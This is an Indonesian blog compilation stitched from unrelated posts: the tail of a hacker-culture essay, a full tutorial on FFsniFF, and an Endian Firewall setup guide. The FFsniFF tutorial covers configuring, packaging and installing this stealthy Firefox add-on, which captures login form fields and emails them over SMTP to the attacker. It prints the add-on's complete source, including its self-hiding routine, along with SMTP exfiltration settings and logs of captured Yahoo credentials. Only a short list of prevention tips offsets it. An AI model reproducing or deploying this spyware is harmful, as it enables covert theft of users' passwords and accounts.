Dengan begini, tariklah kesimpulan untuk mengenal segala sesuatu dan
memahami  serta  mencari  jawaban  terhadap  hal-hal yang tidak kita
ketahui !


    [*] Terus Belajar.

Yang  paling  penting  dari  semua hal diatas adalah selalu belajar.
Tanpa  belajar  anda  tidak  akan mendapatkan apa-apa. Jangan pernah
beranggapan  jika 'telah' menjadi Hacker anda akan berhenti belajar,
malah  sebaliknya  anda  akan  mulai  belajar  kembali untuk menjadi
seorang Hacker yang berdedikasi.

Terus  belajar,  dan  ingatlah  ketika  anda  berhenti  sejenak  dan
mengenang  kembali  ...  anda  telah  menjadi  seorang  Hacker  yang
tangguh!.


     [*] Mengabdi kepada budaya Hacker

Setelah  semuanya  selesai  dan  anda  sedang  beristirahat  setelah
aktifitas Hacking 37 Jam yang melelahkan. Coba ingat kembali.

Siapa yang memperkenalkan anda kepada komputer ?
Siapa yang membimbing anda mempelajarinya ?
Siapa yang dengan setia menemani anda mengejar informasi ?

Siapa yang pertama sekali mengenalkan anda dengan HACKING ?
Mengajari anda teknik-teknik Hacking Dasar ?
Mengajari anda tentang bersikap dan berfikir layaknya HACKER ?

Siapa yang membuat sistem operasi Hacker, Linux ?
Siapa yang mengembangkannya ?
Siapa  yang  membuatnya  begitu  mudah  untuk  dioperasikan  dengan
tampilan yang begitu cantik ?

Siapa yang telah membuat anda HADIR didunia ini ?


Bahagiakan mereka .....
Jika  anda  berpikir  cara terbaik untuk membahagiakan mereka adalah
dengan membayar mereka dengan uang, anda SALAH BESAR. Jika yang anda
lakukan  adalah  mengucapkan ribuan terima kasih kepada mereka, juga
SALAH.

Cukup  lakukan  apa  yang  telah  mereka  lakukan.  Jika anda merasa
terbantu  dengan  dokumen  ini,  buat sebuah dokumen baru, buat yang
lebih baik dan berbagilah dengan sesama !

Dengan  melakukan hal-hal kecil yang terbaik yang bisa anda lakukan,
berarti anda telah mengabdi kepada budaya Hacker itu.



Dan  ketika  pagi  datang,  dan mentari memancarkan cahayanya. SUDAH
WAKTUNYA UNTUK KELUAR, DAN MENGENAL DUNIA.

Menjaring Password dengan Firefox Sniffer

Firefox adalah browser andalan saya, terutama untuk urusan penetration testing. Firefox memiliki banyak sekali addon/extension yang sangat membantu untuk bermacam-macam urusan. Namun tidak semua addon membantu pengguna, ada juga addon yang menyadap dan mengirimkan username/password pengguna ketika login ke email attacker, addon itu adalah FFsniFF.
Dalam artikel ini saya akan menunjukkan simulasi penyadapan password di browser korban dan mengirimkan hasil sadapannya ke email saya di ilmuhacking.com. Setelah itu saya akan jelaskan cara kerja FFsniFF dengan membedah source codenya.

Sekilas tentang addon Firefox
Addon firefox adalah program dalam javascript yang diload dan diaktifkan setiap firefox dijalankan. Addon ini diperlukan untuk melakukan hal-hal yang tidak disediakan oleh firefox (firefox hanya menyediakan fungsi-fungsi dasar saja). Antarmuka addon ada yang berbentuk ikon di status bar, toolbar atau boleh juga tidak memiliki antarmuka sama sekali. FFsniFF adalah contoh addon yang tidak memiliki antarmuka pengguna sama sekali, hal ini bisa dimaklumi karena memang addon ini harus bersifat stealth.
Addon dipaketkan dan disebarkan dalam bentuk file ZIP, namun ekstensi filenya bukan zip melainkan XPI (dibaca “zippy”). Dalam file xpi tersebut ada banyak file dan folder lain seperti source code javascript, gambar dan file xml deskriptor. File-file yang umumnya ada dalam sebuah paket zippy adalah:
1
2
3
4
5
6
7
8
9
10
11
exampleExt.xpi:
              /install.rdf                   
              /components/*  
              /components/cmdline.js                   
              /defaults/
              /defaults/preferences/*.js     
              /plugins/*                        
              /chrome.manifest                
              /chrome/icons/default/*       
              /chrome/
              /chrome/content/
install.rdf adalah deskriptor untuk keperluan instalasi. Selain itu di dalam paket itu juga ada file javascript yang berisi kode program yang menjalankan fungsi addon. Selebihnya adalah file-file untuk menangani user interface addon.
Membuat paket instalasi ffsniff.xpi
Langkah awal saya harus membuat paket instalasi addon ffsniff.xpi. Untuk itu saya harus mengunduh file sumber FFsniFF dari http://azurit.elbiahosting.sk/ffsniff/. Setelah diunduh, file tar.gz itu harus dimekarkan. Isi dari paket itu setelah dimekarkan adalah:
1
2
3
4
5
6
7
8
9
pkg_creator.py
src/
src/install.rdf
src/chrome/
src/chrome/content/
src/chrome/content/ffsniff/
src/chrome/content/ffsniff/ffsniffOverlay.xul
src/chrome/content/ffsniff/ffsniffOverlay_orig.js
src/chrome/content/ffsniff/contents.rdf
File tar.gz itu tidak bisa langsung diinstall ke firefox karena masih berbentuk kumpulan file yang harus diubah dan dibungkus menjadi paket zippy (xpi). Sebenarnya untuk membuat paket zippy sudah disediakan script pkg_creator.py dalam bahasa python, namun dalam artikel ini saya tidak memakai script itu agar saya bisa menunjukkan bagaimana proses pembuatan file xpi dari source code.
Setelah source berhasil didownload, berikutnya saya harus membuat file ffsniffOverlay.js, caranya adalah dengan mengcopy file ffsniffOverlay_orig.js dalam nama ffsniffOverlay.js. Setelah itu ffsniffOverlay.js akan saya edit untuk mengubah beberapa variabel berikut:
1
2
3
4
5
6
7
var send_from_host = "<SEND_FROM_HOST>";
var send_from = "<SEND_FROM>";
var send_to = "<SEND_TO>";
var subject = "<SUBJECT>";
var smtp_host = "<SMTP_HOST>";
var smtp_port = "<SMTP_PORT>";
var enable_hide = "<HIDDING>";
Konfigurasi smtp untuk @ilmuhacking.com

MX record ilmuhacking.com
MX record ilmuhacking.com
Variabel-variabel tersebut adalah parameter untuk mengirim email melalui smtp. smtp_host berisi alamat smtp server yang dipakai untuk mengirim email. Sebaiknya gunakan smtp server yang bertanggung jawab untuk domain email yang kita tuju, dalam kasus ini domain email tujuan adalah @ilmuhacking.com. Oleh karena itu saya harus mencari smtp server yang bertanggung jawab untuk domain ilmuhacking.com. Cara mencarinya adalah dengan melihat MX record dari DNS ilmuhacking.com. Anda bisa gunakan layanan dnswatch.info untuk mencari MX record ilmuhacking.com. Perhatikan gambar di samping, terlihat bahwa ternyata smtp server untuk ilmuhacking.com berada di host yang sama, jadi smtp_host saya isi dengan ilmuhacking.com. Pada domain lain biasanya mail server adalah mail.domainanda.com.
send_from dan send_to saya isi dengan nilai yang sama, yaitu testing@ilmuhacking.com, alamat itu adalah alamat email asal dan tujuan. Perhatikan bahwa domain email sumber dan tujuan harus dalam domain yang sama (ilmuhacking.com) karena smtp server umumnya tidak bersedia mengirimkan email ke domain lain (istilahnya open relay) bila pengirim tidak memasukkan password dulu (anonymous).
enable_hide sengaja saya isi “no” untuk kemudahan, dalam kasus nyata variabel ini harus diisi dengan “yes” agar tersembunyi dari daftar addon sehingga tidak membuat korban curiga. Bila anda masih coba-coba, sebaiknya isi dulu dengan “no”.
smtp_port adalah port smtp server, port standar untuk layanan smtp adalah 25. subject adalah subject dari email yang akan berisi password korban.
1
2
3
4
5
6
7
var send_from_host = "ilmuhacking.com";
var send_from = "testing@ilmuhacking.com";
var send_to = "testing@ilmuhacking.com";
var subject = "Log Firefox Sniffer";
var smtp_host = "ilmuhacking.com";
var smtp_port = "25";
var enable_hide = "no";
Konfigurasi smtp untuk @telkom.net
Agar lebih memahami tentang konfigurasi email ini, saya beri contoh lain dengan email tujuan ke telkom.net.Dengan cara yang sama saya harus membaca MX record dari domain telkom.net, ternyata MX record untuk telkom.net ada 2: mx1.mail.plasa.com dan mx2.mail.plasa.com. Terserah mau pilih yang mana saja. Karena memakai smtp server telkom.net, email tujuan harus berada di domain @telkom.net, di sini saya pakai rizki.wicaksono@telkom.net. Alamat asal saya isi sama dengan email tujuan. Ini berarti saya mengirim email dari dan ke email yang sama, itu tidak masalah. send_from_host saya isi dengan telkom.net karena ini adalah domain. Jadi konfigurasi smtp untuk email tujuan @telkom.net adalah sebagai berikut:
1
2
3
4
5
6
7
var send_from_host = "telkom.net";
var send_from = "rizki.wicaksono@telkom.net";
var send_to = "rizki.wicaksono@telkom.net";
var subject = "Log Firefox Sniffer";
var smtp_host = "mx1.mail.plasa.com";
var smtp_port = "25";
var enable_hide = "no";
Membuat file ffsniff.jar
Setelah variabel-variabel di file ffsniffOverlay.js sudah diubah, langkah berikutnya adalah membuat file ffsniff.jar. Walaupun ekstensi filenya adalah jar, sebenarnya ini adalah file zip biasa. File-file yang dimasukkan dalam ffsniff.jar adalah:
content/ffsniff/contents.rdf
content/ffsniff/ffsniffOverlay.js
content/ffsniff/ffsniffOverlay.xul
Hasil file ffsniff.jar harus mengikutsertakan folder content/ffsniff, tidak boleh 3 file itu dizip tanpa mengikutsertakan foldernya. Jadi untuk membuat file ffsniff.jar harus berada di parent folder dari content/ffsniff. Anda bebas menggunakan program apa saja untuk kompresi zip ini, saya sendiri memakai WinRAR. Ketika dibuka dengan WINRAR isi dari ffsniff.jar tampak seperti gambar di bawah ini, perhatikan kolom pathnya harus berisi seperti itu.
ffsniff.jar list files
ffsniff.jar list files

Membuat file ffsniff.xpi
Setelah mendapatkan file ffsniff.jar, selanjutnya saya harus membuat paket instalasi ffsniff.xpi. File ini juga file zip biasa, walaupun ekstensinya .xpi. Isi file ffsniff.xpi adalah dua file berikut:
install.rdf
chrome/ffsniff.jar
Jangan lupa juga ffsniff.jar harus dizip dalam folder chrome. Gambar di bawah ini menunjukkan ffsniff.xpi yang dibuka dengan winrar, perhatikan juga kolom pathnya harus tepat seperti itu.
ffsniff.xpi file list
ffsniff.xpi file list

Instalasi Firefox Sniffer
Oke, kini selesai sudah proses pembuatan file instalasi addon FFsniffer. Kini saya bisa menginstall addon tersebut. Cara instalasi file xpi adalah dengan membuka Firefox, kemudian memasukkan path lokasi file xpi pada addressbar firefox. Setelah muncul daftar file di firefox, klik file xpi yang akan diinstall. Cara instalasi FFsniFF diperlihatkan pada gambar di bawah ini. Setelah berhasil install jangan lupa untuk restart firefox anda.
instalasi firefox sniffer
instalasi firefox sniffer
Mencoba login ke yahoo
Kini saya akan mencoba login ke yahoo dengan username rizkiwicaksono. Setelah login, saya periksa inbox email testing@ilmuhacking.com. Ternyata email hasil sniff password ketika login ke yahoo sudah masuk. Isi emailnya terlihat pada gambar di bawah ini.
log sniffer email
log sniffer email
Dalam email tersebut terlihat bahwa FFsniff tidak hanya mencatat username dan password tapi semua field dengan tag input (input type=”xxx”) dari form, yaitu: password field, hidden field, text field, checkbox. Selain itu FFsniff juga mencatat URL, nama field, jenis dan nilainya. FFsniFF hanya mengirimkan field yang ada isinya, bila field tersebut kosong, field tersebut tidak akan dikirim.
Email Sniffer Log
Mari kita perhatikan email yang dikirimkan FFsniFF. Header lengkap email yang dikirim FFsniff adalah sebagai berikut:
1
2
3
4
5
6
7
8
9
Return-path: <testing@ilmuhacking.com>
Envelope-to: testing@ilmuhacking.com
Delivery-date: Fri, 27 Feb 2009 03:23:48 -0600
Received: from [202.43.xxx.xxx] (port=23982 helo=ilmuhacking.com)
     by gator669.hostgator.com with esmtp (Exim 4.69)
     (envelope-from <testing@ilmuhacking.com>)
     id 1Lcywa-0002DK-Jj
     for testing@ilmuhacking.com; Fri, 27 Feb 2009 03:23:48 -0600
Subject: Log Firefox Sniffer
Dalam email tersebut hanya ada 1 header Received, yaitu dari host 202.43.xxx.xxx (ip lengkap saya sensor). Hal ini menunjukkan bahwa smtp server yang saya pakai kebetulan adalah smtp server yang paling dekat dengan si penerima sehingga tidak perlu dioper ke smtp server lain. Berikut ini adalah header email FFsniFF yang dikirim ke telkom.net:
Return-Path: <rizki.wicaksono@telkom.net>
Received: from [125.160.17.193] (HELO mx1.mail.telkom.net)
  by f1.c.plasa.com (CommuniGate Pro SMTP 4.3.9)
  with ESMTPS id 690188427 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:05:27 +0700
Received: from mx1.mail.plasa.com ([222.124.18.71])
 by mx1.mail.telkom.net  with esmtp id 1LeiKy-0001qP-O1
 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:04:20 +0700
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AggYAH+MrUnKK6ce/2dsb2JhbACBTosbIQGGVoIPsFshAQKSPQEDgSwG
X-IronPort-AV: E=McAfee;i="5300,2777,5542"; a="119895912"
Received: from xxxxdtp.net.id (HELO telkom.net) ([202.43.xx.xx])
  by mx1.mail.plasa.com with ESMTP; 04 Mar 2009 11:02:49 +0700
Subject: Log Firefox Sniffer
X-HAM-Check: YES
Date: Wed, 04 Mar 2009 11:05:27 +0700
Message-ID: <auto-000690188427@f1.c.plasa.com>
Dalam email ke telkom.net ada 3 header Received. Yang pertama adalah mx1.mail.plasa.com, ini adalah smtp server yang saya pakai di FFsniFF. Kemudian dari situ email dioper ke mx1.mail.telkom.net, dan terakhir dioper lagi ke f1.c.plasa.com, yang merupakan smtp server yang paling dekat dengan si penerima. Jadi sebenarnya saya bisa juga langsung mengirim email ke telkom.net dengan menggunakan smtp server f1.c.plasa.com. Namun karena MX record telkom.net menunjuk ke mx1.mail.telkom.net lebih baik saya pakai smtp server itu, walaupun perlu dioper sebanyak 2 kali untuk sampai di tujuan.
FFsniff mengirimkan email tersebut secara anonymous, artinya ffsniff tidak melakukan authentication sebelum mengirimkan email. SMTP server tidak mungkin menolak email yang ditujukan untuk domain yang dikelola dirinya sendiri, walaupun pengirimnya adalah anonymous (tanpa authentication), sebab bila smtp server menolak email untuk dirinya sendiri maka orang lain tidak akan bisa mengirim email ke domain itu.
Karena dikirimkan secara anonymous maka email tersebut tidak bisa ditujukan ke domain lain selain ilmuhacking.com karena smtp server tersebut kemungkinan besar akan menolak dijadikan titik relay pengiriman email ke domain lain. Bila ingin mengirimkan email untuk domain lain tidak bisa secara anonymous, sebelumnya harus memasukkan perintah smtp AUTH LOGIN dan memasukkan username/password dalam base64. Saya tidak akan menjelaskan terlalu panjang soal email, di lain kesempatan akan saya bahas detil cara kerja email.
Pencegahan
Bad guys already know about FFsniff since 3 years ago
FFsniff diciptakan pada bulan maret 2006, tepat 3 tahun yang lalu sehingga addon ini sudah dikenal luas sebagai salah satu tools hacking. Sekarang bagaimana caranya agar kita tidak menjadi korban addon ini?
Berikut ini tips agar tidak menjadi korban FFsniff:
  • Jangan sembarangan menginstall addon yang tidak anda kenal. Install addon hanya dari situs resmi Firefox Addon https://addons.mozilla.org/
  • Install Addon hanya dari situs yang menggunakan https. Penggunaan https ini sangat penting agar anda tidak tersesat mengakses situs palsu yang berusaha memberikan anda addon yang sudah diracuni spyware. Mengenai pentingnya https ini bisa anda baca di artikel: understanding https
  • firefox safe mode
    firefox safe mode
  • Bila anda berada di komputer publik, gunakan Firefox dalam Safe Mode (mode aman). Mode ini adalah mode menjalankan firefox dengan mematikan semua addon yang ada.
  • Walaupun FFsniFF dapat menyembunyikan diri dari daftar addon Firefox, namun tetap saja dia tidak mungkin bisa bersembunyi di file system. Jika anda ragu apakah firefox anda bersih dari FFsniFF, silakan buka folder Profile Mozilla Firefox anda. Biasanya di:
  • 1
    
    C:\Documents and Settings\<username>\Application Data\Mozilla\Firefox\Profiles\<some-random-text>\extensions\
    firefox extension folder
    firefox extension folder
    Kemudian perhatikan file install.rdf, dalam file itu terlihat nama dan deskripsi addon. Atau anda juga bisa melihat folder di dalamnya lagi untuk membaca file dot js dari ffsniff.
    How FFsniff Works
    Saya telah menunjukkan mulai dari mengunduh, menginstall dan kemudian mendapatkan password ketika ada yang login di firefox yang telah dipasang addon ini. Kini saatnya saya menjelaskan cara kerja FFsniff ini. Inti dari FFsniff ini ada pada file ffsniffOverlay.js. File ini berisi semua code yang melakukan sniffing. Berikut adalah source code lengkap ffsniffOverlay.js.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    
    var transportService = Components.classes["@mozilla.org/network/socket-transport-service;1"].getService(Components.interfaces.nsISocketTransportService);
    var transport = "";
    var outstream = "";
    var instream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream);
    var stream = "";
    // find out FF version
    var appInfo = Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULAppInfo);
    var versionChecker = Components.classes["@mozilla.org/xpcom/version-comparator;1"].getService(Components.interfaces.nsIVersionComparator);
     
    var data = "";
    var data0 = "EHLO " + send_from_host + "\r\n"
    var data1 = "MAIL FROM: <" + send_from + ">\r\n"
    var data2 = "RCPT TO: <" + send_to + ">\r\n"
    var data3 = "DATA\r\n"
    var data4 = "\r\n.\r\n"
    var data5 = "QUIT\r\n"
    function send_data() {
     transport = transportService.createTransport(null, 0, smtp_host, smtp_port, null);
     outstream = transport.openOutputStream(0, 0, 0);
     stream = transport.openInputStream(0, 0, 0);
     instream.init(stream);
     
     // this will avoid 'Improper use of SMTP command pipelining'
     // error on SMTP servers
     outstream.write(data0, data0.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data1, data1.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data2, data2.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data3, data3.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data, data.length);
     // don't read here cos no data was send to us
     //while (instream.available() == 0) {}
     //instream.read(instream.available());
     
     outstream.write(data4, data4.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data5, data5.length);
     while (instream.available() == 0) {}
     
     outstream.close();
     instream.close();
    }
    if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
     var workingThread = function() {
     };
     
     workingThread.prototype = {
      run: function() {
       send_data();
      }
     };
    } else {
     var runnable = {
      run: function() {
       send_data();
      }
     }
    }
    function sniff() {
     // if we are running under 3.0 or later
     if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
      var thread = Components.classes["@mozilla.org/thread-manager;1"].getService().newThread(0);
      thread.dispatch(new workingThread(), thread.DISPATCH_NORMAL);
     } else {
      var thread = Components.classes["@mozilla.org/thread;1"].getService(Components.interfaces.nsIThread);
      thread.init(runnable, 512*1024, Components.interfaces.nsIThread.PRIORITY_NORMAL, Components.interfaces.nsIThread.SCOPE_LOCAL, Components.interfaces.nsIThread.STATE_UNJOINABLE);
     }
    }
     
    function do_sniff() {
     var ok = 0;
     var hesla = window.content.document.getElementsByTagName("input");
     data = "";
     for (var i = 0; i < hesla.length; i++) {
      if (hesla[i].value != "") {
       if (hesla[i].type == "password") {
        ok = 1;
       }
       if (hesla[i].name == "") {
        data += hesla[i].type + ":" + "<blank>:" + hesla[i].value + "\n";
       }
       else {
        data += hesla[i].type + ":" + hesla[i].name +":" + hesla[i].value + "\n";
       }
      }
     }
     if (ok == 1) {
      data = "Subject: " + subject + "\r\n\r\n" + window.top.content.document.location + "\n" + "type:name:value\n" + "---------------\n" + data;
      sniff()
     }
    }
    function hide_me() {
     var RDFService = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(Components.interfaces.nsIRDFService);
     var Container = Components.classes["@mozilla.org/rdf/container;1"].createInstance(Components.interfaces.nsIRDFContainer);
     var extensionDS = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).datasource;
     var root = RDFService.GetResource("urn:mozilla:item:root");
     var nameArc = RDFService.GetResource("http://www.mozilla.org/2004/em-rdf#name");
     Container.Init(extensionDS, root);
     var elements = Container.GetElements();
     while (elements.hasMoreElements()) {
      var element = elements.getNext();
      var name = "";
      var target = extensionDS.GetTarget(element, nameArc, true);
      if (target) {
       name = target.QueryInterface(Components.interfaces.nsIRDFLiteral).Value;
       if (name == "FFsniFF") {
        Container.RemoveElement(element, true);
       }
      }
     }
    }
    if (enable_hide == "yes") {
     hide_me();
    }
    window.addEventListener("submit", do_sniff, false);
    Perhatikan baris ke-127 pada source di atas, bila enable_hide diset “yes”, maka ffsniff akan menjalankan fungsi hide_me(). hide_me() bertugas menghilangkan FFsniff dari daftar addon agar kehadirannya tidak disadari pengguna. Cara menyembunyikan diri adalah dengan cara menjalankan fungsi Container.RemoveElement (baris ke-122) hanya bila element itu bernama “FFsniFF”.
    how ffsniff works
    how ffsniff works
    Fungsi sniffing sesungguhnya ada pada baris terakhir. Pada baris terakhir, terdapat fungsi addEventListener(). Fungsi ini berguna untuk mengaitkan event submit dengan fungsi do_sniff. Artinya fungsi do_sniff akan dijalankan setiap kali terjadi event submit. Event submit akan terjadi bila ada request POST di browser, antara lain dengan melalui klik tombol bertipe submit (input type=”submit”). Namun tidak hanya melalui klik saja, submit bisa juga dilakukan oleh javascript. Dengan cara apapun, bila terjadi request POST di browser, event submit akan terjadi, dan artinya fungsi do_sniff juga akan dipanggil. Untuk lebih jelasnya perhatikan gambar di atas.
    Kini fokus perhatian kita pindah ke fungsi do_sniff (baris ke-84). Dalam fungsi sniff, ffsniffer mengambil daftar semua tag <input> yang ada dengan fungsi window.content.document.getElementsByTagName(“input”). Kemudian semua field tersebut akan digabung dalam variabel string data. Hanya bila dalam form tersebut terdapat password field (input type=”password”), maka ffsniffer akan mengirimkan email, bila hanya form biasa (bukan form login), ffsniffer tidak akan mengirim email.
    Bila mengandung password field, berikutnya fungsi sniff (baris ke-73) akan dijalankan. Fungsi sniff ini tugasnya hanya membuat dan menjalankan thread. Thread tersebut bertugas melakukan pengiriman email dengan memanggil fungsi send_data (baris ke-17). Fungsi send_data akan membuka koneksi tcp ke smtp server, kemudian mengirimkan perintah smtp untuk mengirim email. Dengan menggunakan sniffer Wireshark, berikut adalah komunikasi yang terjadi ketika email dikirim ke telkom.net:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    
    220-mx1.mail.plasa.com ESMTP
    220 UBE, porn, and abusive content not allowed
    EHLO telkom.net
    250-mx1.mail.plasa.com
    250-8BITMIME
    250 SIZE 20971520
    MAIL FROM: <rizki.wicaksono@telkom.net>
    250 sender <rizki.wicaksono@telkom.net> ok
    RCPT TO: <rizki.wicaksono@telkom.net>
    250 recipient <rizki.wicaksono@telkom.net> ok
    DATA
    354 go ahead
    Subject: Log Firefox Sniffer
     
    https://login.yahoo.com/config/login?
    type:name:value
    ---------------
    hidden:.tries:2
    hidden:.intl:us
    hidden:.u:6220o3t4qrv31
    hidden:.v:0
    hidden:.challenge:Uhh09ZXeYC4rgGkrSkirh.TXeHk_
    hidden:hasMsgr:0
    hidden:.chkP:Y
    hidden:.done:http://my.yahoo.com
    hidden:.pd:_ver=0&c=&ivt=&sg=
    text:login:rizkiwicaksono
    password:passwd:inipasswordku
    checkbox:.persistent:y
    submit:.save:Sign In
    .
    250 ok:  Message 119895912 accepted
    221 mx1.mail.plasa.com
    QUIT
    Sedangkan komunikasi yang terjadi ketika email dikirim ke @ilmuhacking.com adalah:
    220-gator669.hostgator.com ESMTP Exim 4.69 #1 Tue, 03 Mar 2009 22:15:33 -0600 
    220-We do not authorize the use of this system to transport unsolicited, 
    220 and/or bulk e-mail.
    EHLO ilmuhacking.com
    250-gator669.hostgator.com Hello ilmuhacking.com [202.43.xxx.xxx]
    250-SIZE 52428800
    250-PIPELINING
    250-AUTH PLAIN LOGIN
    250-STARTTLS
    250 HELP
    MAIL FROM: <testing@ilmuhacking.com>
    250 OK
    RCPT TO: <testing@ilmuhacking.com>
    250 Accepted
    DATA
    354 Enter message, ending with "." on a line by itself
    Subject: Log Firefox Sniffer
     
    https://login.yahoo.com/config/login?
    type:name:value
    ---------------
    hidden:.tries:1
    hidden:.intl:us
    hidden:.u:eljvtc94qs023
    hidden:.v:0
    hidden:.challenge:7FWzfTnmnC3Njv1YadcWnM61LyIw
    hidden:hasMsgr:0
    hidden:.chkP:Y
    hidden:.done:http://my.yahoo.com
    hidden:.pd:_ver=0&c=&ivt=&sg=
    text:login:rizkiwicaksono
    password:passwd:inipasswordakujuga
    checkbox:.persistent:y
    submit:.save:Sign In
    .
    250 OK id=1LeiW6-0002zu-LA
    QUIT
    221 gator669.hostgator.com closing connection
    Dengan selesainya eksekusi send_data() maka ffsniff telah selesai menjalankan tugasnya mengirim email. Selanjutnya ffsniff akan “tidur” menunggu dipanggil oleh event submit dan mulai kembali proses penyadapan password.

Sabtu, 26 November 2011

Konfigurasi Dasar Endian Firewall 2.2 Final Release


Setelah bulan mei kemaren resmi di release versi 2.2 penulis langsung mencoba firewall ini dan berikut adalah step by step setting Endian Firewall.

Skenario:
1. Endian firewall di gunakan sebagai pintu keluar untuk melakukan koneksi ke internet
2. IP Address Green Zone (LAN) : 192.168.0.1
3. IP Address Red Zone : 192.168.2.1
3. IP Address Modem ADSL adalah 192.168.2.2
4. ISP yang dipakai adalah Speedy

Step by step:
1. Untuk melakukan konfigurasi awal akses alamat endian firewall melalui web browser. Misalnya https://192.168.0.1:10443

2. Pilih tombol " >>> " kemudian sesuaikan pilihan bahasa dan waktu



3. Isikan password untuk akses konfigurasi efw melalui web dan melalui ssh


4. Pada menu isian network setup wizzard pilih ethernet static


5.Karena hanya ada 2 network yang akan di hubungkan, pilih " none " lalu next



6.Isikan IP Address untuk Endian Firewall dan hostname --> Misalnya " 192.168.0.1 "



7.Isikan IP Address dari NIC ke-2 yang terhubung ke internet --> " 192.168.2.1 " dan isikan juga IP Address default gateway-nya --> "192.168.2.2 " (IP Address Modem ADSL)




8. Isikan Alamat DNS1 dan DNS2. Alamat DNS akan di berikan oleh ISP dimana anda berlangganan koneksi internet
9.Terakhir tekan OK, apply configurations



10. Coba untuk browsing internet dengan terlebih dahulu menambahkan gateway di komputer client ke IP 192.168.0.1